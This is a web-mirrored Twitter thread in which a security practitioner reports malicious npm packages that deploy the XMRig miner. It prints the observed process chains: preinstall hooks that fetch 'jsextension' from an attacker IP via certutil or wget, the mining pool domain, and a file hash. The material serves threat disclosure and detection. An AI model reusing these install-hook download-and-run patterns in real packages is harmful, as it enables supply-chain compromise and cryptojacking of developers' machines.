<!DOCTYPE html>
<html lang="en">
  <head>
    <link rel="stylesheet" type="text/css" href="/css/style.css?v=3" />
    <link rel="stylesheet" type="text/css" href="/css/fontello.css?v=2" />
    <link rel="stylesheet" type="text/css" href="/css/themes/nitter.css" />
    <link rel="apple-touch-icon" sizes="180x180" href="/apple-touch-icon.png" />
    <link rel="icon" type="image/png" sizes="32x32" href="/favicon-32x32.png" />
    <link rel="icon" type="image/png" sizes="16x16" href="/favicon-16x16.png" />
    <link rel="manifest" href="/site.webmanifest" />
    <link rel="mask-icon" href="/safari-pinned-tab.svg" color="#ff6c60" />
    <link rel="search" type="application/opensearchdescription+xml" title="nitter" href="https://nitter.net/opensearch" />
    <title>Jon Hencinski (@jhencinski): &quot;There are evil packages on the npm registry that deploy XMRIG.

Here&#x27;s what we&#x27;re seeing:

Linux:
- npm install executed (w&#x2F;o args)
   |_ &#x2F;bin&#x2F;bash preinstall[d]sh
       |_.&#x2F;jsextension pulled from 159.148.186[.]228

jsextension initiates netconn to pool.minexmr[d]com&quot; | nitter</title>
    <meta name="viewport" content="width=device-width, initial-scale=1.0" />
    <meta property="og:type" content="article" />
    <meta property="og:title" content="Jon Hencinski (@jhencinski)" />
    <meta property="og:description" content="There are evil packages on the npm registry that deploy XMRIG.

Here's what we're seeing:

Linux:
- npm install executed (w/o args)
   |_ /bin/bash preinstall[d]sh
       |_./jsextension pulled from 159.148.186[.]228

jsextension initiates netconn to pool.minexmr[d]com" />
    <meta property="og:site_name" content="Nitter" />
    <meta property="og:locale" content="en_US" />
    <link rel="preload" type="font/woff2" as="font" href="/fonts/fontello.woff2?21002321" crossorigin="anonymous" />
  </head>
  <body>
    <nav><div class="inner-nav">
        <div class="nav-item"><a class="site-name" href="/">nitter</a></div>
        <a href="/"><img class="site-logo" src="/logo.png" /></a>
        <div class="nav-item right">
          <div class="icon-container"><a class="icon-search" title="Search" href="/search"></a></div>
          <div class="icon-container"><a class="icon-bird" title="Open in Twitter" href="https://twitter.com/jhencinski/status/1451592508157345793"></a></div>
          <a href="https://liberapay.com/zedeus"><svg class="lp" viewBox="0 0 40.6 52.3">
  <g transform="matrix(0.83,0,0,0.83,-158,-261)">
    <path d="m202.5,366c-3.1 0-5.5-0.4-7.3-1.2-1.8-0.8-3-1.9-3.8-3.3-0.8-1.4-1.1-3-1.1-4.8 0-1.8 0.3-3.7 0.8-5.8l8.3-34.8 10.2-1.6-9.1 37.8c-0.2 0.8-0.3 1.5-0.3 2.2 0 0.7 0.1 1.2 0.4 1.7 0.3 0.5 0.7 0.9 1.3 1.2 0.6 0.3 1.5 0.5 2.7 0.6l-2 8.1"/>
    <path d="m239.2 344.3c0 3.2-0.5 6.1-1.6 8.8-1 2.6-2.5 4.9-4.4 6.9-1.9 1.9-4.1 3.4-6.7 4.5-2.6 1.1-5.4 1.6-8.5 1.6-1.5 0-3-0.1-4.5-0.4l-3 11.9h-9.7l10.9-45.4c1.7-0.5 3.7-1 6-1.4 2.3-0.4 4.7-0.6 7.3-0.6 2.4 0 4.6 0.4 6.3 1.1 1.8 0.7 3.2 1.8 4.4 3 1.1 1.3 2 2.8 2.5 4.5 0.5 1.7 0.8 3.6 0.8 5.5m-23.8 13.4c0.7 0.2 1.7 0.3 2.8 0.3 1.7 0 3.3-0.3 4.7-1 1.4-0.6 2.6-1.5 3.6-2.7 1-1.1 1.7-2.5 2.3-4.1 0.5-1.6 0.8-3.4 0.8-5.3 0-1.9-0.4-3.5-1.2-4.8-0.8-1.3-2.3-2-4.3-2-1.4 0-2.7 0.1-3.9 0.4l-4.6 19.1"/>
  </g>
</svg>
</a>
          <div class="icon-container"><a class="icon-info" title="About" href="/about"></a></div>
          <form class="icon-button" method="get" action="/settings">
            <input name="referer" value="/jhencinski/status/1451592508157345793#m" style="display: none; " />
            <button type="submit"><div class="icon-container"><span class="icon-cog" title="Preferences"></span></div></button>
          </form>
        </div>
      </div></nav>
    <div class="container"><div class="conversation">
        <div class="main-thread">
          <div id="m" class="main-tweet"><div class="timeline-item thread thread-line"><div class="tweet-body">
                <div><div class="tweet-header">
                    <a class="tweet-avatar" href="/jhencinski"><img class="avatar" src="/pic/profile_images%2F1321895607586463745%2FCVpXBz1U_bigger.jpg" alt="" /></a>
                    <div class="tweet-name-row">
                      <div class="fullname-and-username">
                        <a class="fullname" href="/jhencinski" title="Jon Hencinski">Jon Hencinski</a>
                        <a class="username" href="/jhencinski" title="@jhencinski">@jhencinski</a>
                      </div>
                      <span class="tweet-date"><a href="/jhencinski/status/1451592508157345793#m" title="22/10/2021, 16:53:17">Oct 22</a></span>
                    </div>
                  </div></div>
                <div class="tweet-content media-body" dir="auto">There are evil packages on the npm registry that deploy XMRIG.

Here's what we're seeing:

Linux:
- npm install executed (w/o args)
   |_ /bin/bash preinstall[d]sh
       |_./jsextension pulled from 159.148.186[.]228

jsextension initiates netconn to pool.minexmr[d]com</div>
                <p class="tweet-published">4:53 PM · Oct 22, 2021</p>
                <div class="tweet-stats">
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-comment" title=""></span> 2</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-retweet" title=""></span> 57</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-quote" title=""></span> 6</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-heart" title=""></span> 138</div></span>
                </div>
              </div></div></div>
          <div class="after-tweet thread-line">
            <div class="timeline-item ">
              <a class="tweet-link" href="/jhencinski/status/1451592954108420123#m"></a>
              <div class="tweet-body">
                <div><div class="tweet-header">
                    <a class="tweet-avatar" href="/jhencinski"><img class="avatar" src="/pic/profile_images%2F1321895607586463745%2FCVpXBz1U_bigger.jpg" alt="" /></a>
                    <div class="tweet-name-row">
                      <div class="fullname-and-username">
                        <a class="fullname" href="/jhencinski" title="Jon Hencinski">Jon Hencinski</a>
                        <a class="username" href="/jhencinski" title="@jhencinski">@jhencinski</a>
                      </div>
                      <span class="tweet-date"><a href="/jhencinski/status/1451592954108420123#m" title="22/10/2021, 16:55:04">Oct 22</a></span>
                    </div>
                  </div></div>
                <div class="tweet-content media-body" dir="auto">Windows: 
- npm install executed (w/o args)
   |_cmd.exe /c preinstall.bat ➡️ creates preinstall.js
      |_certutil.exe -urlcache -f hxxp://159[.]148[.]186[.]228/download/jsextension.exe jsextension.exe

jsextension.exe initiates netconn to pool.minexmr[d]com</div>
                <div class="tweet-stats">
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-comment" title=""></span> 1</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-retweet" title=""></span> 2</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-quote" title=""></span> 0</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-heart" title=""></span> 15</div></span>
                </div>
              </div>
            </div>
            <div class="timeline-item ">
              <a class="tweet-link" href="/jhencinski/status/1451593033330397192#m"></a>
              <div class="tweet-body">
                <div><div class="tweet-header">
                    <a class="tweet-avatar" href="/jhencinski"><img class="avatar" src="/pic/profile_images%2F1321895607586463745%2FCVpXBz1U_bigger.jpg" alt="" /></a>
                    <div class="tweet-name-row">
                      <div class="fullname-and-username">
                        <a class="fullname" href="/jhencinski" title="Jon Hencinski">Jon Hencinski</a>
                        <a class="username" href="/jhencinski" title="@jhencinski">@jhencinski</a>
                      </div>
                      <span class="tweet-date"><a href="/jhencinski/status/1451593033330397192#m" title="22/10/2021, 16:55:23">Oct 22</a></span>
                    </div>
                  </div></div>
                <div class="tweet-content media-body" dir="auto">Related: <a href="https://blog.sonatype.com/newly-found-npm-malware-mines-cryptocurrency-on-windows-linux-macos-devices">blog.sonatype.com/newly-foun…</a></div>
                <div class="card large"><a class="card-container" href="https://blog.sonatype.com/newly-found-npm-malware-mines-cryptocurrency-on-windows-linux-macos-devices">
                    <div class="card-image-container"><div class="card-image"><img src="/pic/card_img%2F1473716952506015745%2FbPuzB0Co%3Fformat%3Djpg%26name%3D800x320_1" alt="" /></div></div>
                    <div class="card-content-container"><div class="card-content">
                        <h2 class="card-title">Newly Found npm Malware Mines Cryptocurrency on Windows, Linux, macOS Devices</h2>
                        <p class="card-description">Sonatype’s automated malware detection system has caught multiple malicious packages on the npm registry this month.</p>
                        <span class="card-destination">blog.sonatype.com</span>
                      </div></div>
                  </a></div>
                <div class="tweet-stats">
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-comment" title=""></span> 1</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-retweet" title=""></span> 4</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-quote" title=""></span> 0</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-heart" title=""></span> 9</div></span>
                </div>
              </div>
            </div>
            <div class="timeline-item thread-last ">
              <a class="tweet-link" href="/jhencinski/status/1451607785217658897#m"></a>
              <div class="tweet-body">
                <div><div class="tweet-header">
                    <a class="tweet-avatar" href="/jhencinski"><img class="avatar" src="/pic/profile_images%2F1321895607586463745%2FCVpXBz1U_bigger.jpg" alt="" /></a>
                    <div class="tweet-name-row">
                      <div class="fullname-and-username">
                        <a class="fullname" href="/jhencinski" title="Jon Hencinski">Jon Hencinski</a>
                        <a class="username" href="/jhencinski" title="@jhencinski">@jhencinski</a>
                      </div>
                      <span class="tweet-date"><a href="/jhencinski/status/1451607785217658897#m" title="22/10/2021, 17:54:00">Oct 22</a></span>
                    </div>
                  </div></div>
                <div class="tweet-content media-body" dir="auto">Linux verbose version:
- node /usr/local/bin/npm install
|_ sh -c start /B node preinstall.js &amp; node preinstall.js
   |_ node preinstall.js
      |_ /bin/sh -c /bin/bash preinstall[d]sh
         |_ /bin/bash preinstall[d]sh
            |_ wget download/jsextension -O jsextension</div>
                <div class="tweet-stats">
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-comment" title=""></span> 1</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-retweet" title=""></span> 2</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-quote" title=""></span> 0</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-heart" title=""></span> 13</div></span>
                </div>
              </div>
            </div>
          </div>
        </div>
        <div id="r" class="replies"><div class="reply thread thread-line"><div class="timeline-item thread-last ">
              <a class="tweet-link" href="/Yeeb_/status/1451626970974932999#m"></a>
              <div class="tweet-body">
                <div><div class="tweet-header">
                    <a class="tweet-avatar" href="/Yeeb_"><img class="avatar" src="/pic/profile_images%2F1441306458260312067%2FfRHVhiIA_bigger.jpg" alt="" /></a>
                    <div class="tweet-name-row">
                      <div class="fullname-and-username">
                        <a class="fullname" href="/Yeeb_" title="Yeeb">Yeeb</a>
                        <a class="username" href="/Yeeb_" title="@Yeeb_">@Yeeb_</a>
                      </div>
                      <span class="tweet-date"><a href="/Yeeb_/status/1451626970974932999#m" title="22/10/2021, 19:10:14">Oct 22</a></span>
                    </div>
                  </div></div>
                <div class="replying-to">Replying to <a href="/jhencinski">@jhencinski</a></div>
                <div class="tweet-content media-body" dir="auto">7f986cd3c946f274cdec73f80b84855a77bc2a3c765d68897fbc42835629a5d5
also jsextension.exe in ua-parser-js module</div>
                <div class="tweet-stats">
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-comment" title=""></span> 0</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-retweet" title=""></span> 0</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-quote" title=""></span> 0</div></span>
                  <span class="tweet-stat"><div class="icon-container"><span class="icon-heart" title=""></span> 7</div></span>
                </div>
              </div>
            </div></div></div>
        <div class="top-ref"><div class="icon-container"><a class="icon-down" title="" href="#m"></a></div></div>
      </div></div>
  </body>
</html>